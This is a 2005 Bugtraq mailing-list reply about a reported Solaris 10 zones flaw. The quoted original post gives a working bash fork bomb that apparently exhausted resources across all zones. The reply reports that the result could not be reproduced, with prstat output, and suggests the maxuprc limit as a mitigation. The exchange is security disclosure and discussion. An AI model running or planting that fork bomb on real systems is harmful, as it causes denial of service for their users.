Date: Sat, 02 Apr 2005 11:11:11 -0500
From: Robert Escue <roescue@....net>
To: jim allan <intehnet@...il.com>
Cc: bugtraq@...urityfocus.com
Subject: Re: Solaris 10 Containers / Zones Security Flaw


jim allan wrote:

>all, 
>
>
>thought i'd share something from a bit of home research. It's a bit trivial, and the "hole" (so to speak) is easily patched up, but it defies the claims of Sun in regards to Solaris 10 security. 
>
>
>Solaris 10 contains a feature called containers, or zones, which are kind of like a "VMware" "session" embedded inside the kernel. These seperate zones have their own ip address (virtual interface off a physical interface, eg; bge0:1), their own /proc /dev /etc and file system, entirely their own operating system, and unable to affect the master, or other zones. 
>Sun suggest zones are good for running separate internet facing applications, for example, a sol10 box runs a webserver in one zone, and an internal DNS on another zone. If the internet facing web server gets compromised, and an attacker drops them selves to root on that zone, whilst they are physically connected to the box, they cannot go outside that zone, often, they'll have to be wise to solaris 10 to even know they are in a zone, and it's not it's own box. 
>They can compromise and wreck havoc in that zone, without any other zones, or the master zone, from which all zones are controlled, being affected. There is NO way to drop out of a slave zone into a master zone (yet...) unless you logged into the master zone first. I hope that makes sense.. read suns webpage if you wanna know more. http://www.sun.com/software/solaris/
>
>
>Here's where it gets interesting. By default, there is no limit on virtual memory or cpu time for each zone. By doing a standard bash fork bomb, I was able to take down an entire Solaris 10 box, from within a non-master zone. All zones were locked up, including the master zone. 
>
>
>It's nothing ground breaking, but I just found it interesting/poor that Sun didn't place, by default, CPU or memory limits on zones, which are meant to be, essentially, master of their own domain, and unable to affect other zones. One would have to go out of their way to configure CPU limits.
>
>
>See bash fork bomb below. 
>
>
>#!/usr/local/bin/bash 
>:(){ :|:& };:
>
>
>
>
>ps; if you wish to patch this, either set a ulimit to the amount of virtual memory a user can have, or explore the set up of zones, i've been told there is a way to configure a limit to cpu time, although i haven't been able to find any relevant documentation after a brief search. 
>I'm considering writing a patch using solaris 10's dtrace D language to capture a process that is forking X amount in Y time, given some miracle that I have some free time once in a while :) 
>
>look forward to your replies
>
>
>jim allan 
>
>intehnet at g mail dot com 
>
>
>  
>
Jim,

Did you install bash or use the supplied one with Solaris 10 
(/usr/bin/bash)? Because I cannot duplicate the results you got on my 
Ultra 2 using a your fork bomb in a bash shell as an unprivileged user, 
see below:

This is the session I started after I ran the fork bomb for at least 15 
minutes:

login as: luser
Password:
Last login: Sat Apr  2 10:26:15 2005 from 192.168.1.12
Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
-bash-3.00$ id
uid=101(luser) gid=10(staff)
-bash-3.00$

This is the screen output of the session where I launched the fork bomb:

-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: xmalloc: execute_cmd.c:267: cannot allocate 32 bytes (0 bytes 
allocated)
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: xmalloc: execute_cmd.c:267: cannot allocate 32 bytes (0 bytes 
allocated)
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space
-bash: fork: Not enough space

This is the output of prstat -Z showing the activity of the zone zonetest:

 PID USERNAME  SIZE   RSS STATE  PRI NICE      TIME  CPU PROCESS/NLWP
 10950 root     7040K 4520K cpu1    59    0   0:00:00 0.2% prstat/1
 10939 root       10M 4864K sleep   59    0   0:00:00 0.0% sshd/1
  1219 root     3696K 1752K sleep   59    0   0:00:00 0.0% nscd/25
 10944 luser    5208K 2344K sleep   59    0   0:00:00 0.0% bash/1
  5812 root     5976K 2496K sleep   59    0   0:00:00 0.0% sendmail/1
  1188 root     3552K  648K sleep   59    0   0:00:00 0.0% sh/1
  1138 daemon   6552K 1792K sleep   59    0   0:00:00 0.0% kcfd/3
  1107 root       12M  328K sleep   59    0   0:00:04 0.0% svc.startd/13
  1275 root     6016K 1568K sleep   59    0   0:00:00 0.0% syslogd/14
  1214 root     4976K    8K sleep   59    0   0:00:00 0.0% cron/1
  1223 root     2120K  824K sleep   59    0   0:00:00 0.0% ttymon/1
  1181 root     6936K  264K sleep   59    0   0:00:01 0.0% inetd/4
  1184 root     1256K  936K sleep   59    0   0:00:00 0.0% utmpd/1
  1173 daemon   2936K    8K sleep   59    0   0:00:00 0.0% statd/1
  1268 root     6176K 1112K sleep   59    0   0:00:00 0.0% sshd/1
ZONEID    NPROC  SIZE   RSS MEMORY      TIME  CPU ZONE
     2       36  193M   36M   2.4%   0:00:25 0.2% zonetest




Total: 36 processes, 106 lwps, load averages: 0.01, 1.02, 19.88

And finally the output of prstat -a showing the activity of the whole 
system:

   PID USERNAME  SIZE   RSS STATE  PRI NICE      TIME  CPU PROCESS/NLWP
 10951 root     7040K 4520K cpu0    59    0   0:00:00 0.1% prstat/1
  1219 root     3696K 1752K sleep   59    0   0:00:00 0.0% nscd/25
  5812 root     5976K 2496K sleep   59    0   0:00:00 0.0% sendmail/1
  1107 root       12M  328K sleep   59    0   0:00:04 0.0% svc.startd/13
  1275 root     6016K 1568K sleep   59    0   0:00:00 0.0% syslogd/14
  1214 root     4976K    8K sleep   59    0   0:00:00 0.0% cron/1
  1223 root     2120K  824K sleep   59    0   0:00:00 0.0% ttymon/1
  1181 root     6936K  264K sleep   59    0   0:00:01 0.0% inetd/4
  1188 root     3552K  648K sleep   59    0   0:00:00 0.0% sh/1
  1184 root     1256K  936K sleep   59    0   0:00:00 0.0% utmpd/1
  1173 daemon   2936K    8K sleep   59    0   0:00:00 0.0% statd/1
  1138 daemon   6552K 1792K sleep   59    0   0:00:00 0.0% kcfd/3
  1268 root     6176K 1112K sleep   59    0   0:00:00 0.0% sshd/1
  1222 root     1984K  752K sleep   59    0   0:00:00 0.0% sac/1
  1109 root     9128K  264K sleep   59    0   0:00:20 0.0% svc.configd/12
 NPROC USERNAME  SIZE   RSS MEMORY      TIME  CPU
    28 root      148M   29M   1.9%   0:00:25 0.1%
     4 luser      31M 6096K   0.4%   0:00:00 0.0%
     4 daemon     14M 1816K   0.1%   0:00:00 0.0%


Total: 36 processes, 105 lwps, load averages: 0.01, 0.57, 16.39

There are multiple ways of controlling resource use in Solaris 10, but 
if you want to limit total processes you could use these lines in 
/etc/system:

set maxuprc=(number of processes)

For more information:

http://docs.sun.com/app/docs/doc/806-7009/6jftnqsjd?a=view


Robert Escue
System Administrator

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